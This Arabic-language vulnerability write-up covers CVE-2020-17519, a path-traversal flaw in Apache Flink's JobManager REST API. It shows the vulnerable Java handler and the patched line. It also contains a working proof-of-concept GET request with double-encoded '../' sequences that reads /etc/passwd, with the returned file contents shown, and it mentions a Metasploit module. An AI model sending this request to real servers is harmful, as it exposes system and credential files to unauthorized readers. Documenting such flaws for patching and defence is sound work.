
[CVE-2020-17519] قراءة ملفات تعسفية عبر واجهة برمجة التطبيقات RESTful في Apache Flink
[CVE-2020-17519] قراءة ملف تعسفي عبر واجهة برمجة تطبيقات Apache Flink RESTful
Apache Flink هو إطار عمل ومحرك معالجة موزع للحسابات ذات الحالة عبر تدفقات البيانات غير المحدودة والمحدودة، وهو مطوّر باستخدام Java وScala. يسمح تغيير تم تقديمه في Apache Flink 1.11.0 (وتم إصداره في 1.11.1 و1.11.2 أيضًا) للمهاجمين بقراءة أي ملف على نظام الملفات المحلي لـ JobManager عبر واجهة برمجة التطبيقات RESTful الخاصة بعملية JobManager. يقتصر الوصول إلى نظام الملفات على الملفات التي يمكن لعملية JobManager الوصول إليها.
بينما تتأثر جميع الإصدارات بين 1.11.0 - 1.11.2 بالثغرة ذات الصلة، فقد قامت Apache Flink بإصلاح الثغرة للإصدارات 1.11.3 وما فوق.
الكود القابل للاستغلال هو الفئة src/main/java/org/apache/flink/runtime/rest/handler/cluster/JobManagerCustomLogHandler.java. مقتطف الكود ذو الصلة موضح أدناه.
if (logDir == null) {
return null;
}
String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);
return new File(logDir, filename);
}
}
المشكلة هي أن معالج الطلب يسمح بالوصول المباشر إلى مسار الملف. بهذا commit، تم تغيير سطر الكود القابل للاستغلال كما هو موضح أدناه. في مقتطف الكود أدناه، تم وضع علامة على السطر القابل للاستغلال كسطر تعليق.
if (logDir == null) {
return null;
}
// String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);
String filename = new File(handlerRequest.getPathParameter(LogFileNamePathParameter.class)).getName();
return new File(logDir, filename);
}
}
إثبات المفهوم (PoC): لاستغلال هذه الثغرة، يمكنك استخدام الطلب التالي
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
Host: vulnerablehost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
استجابة الطلب أعلاه موضحة أدناه
HTTP/1.1 200 OK
Content-Type: text/plain
content-length: 964
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/bin:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
flink:x:9999:9999::/opt/flink:/bin/sh

أيضًا، تتوفر وحدة metasploit لهذه الثغرة CVE-2020-17519 بتقييم ممتاز. يمكنك العثور على أكواد Ruby هنا
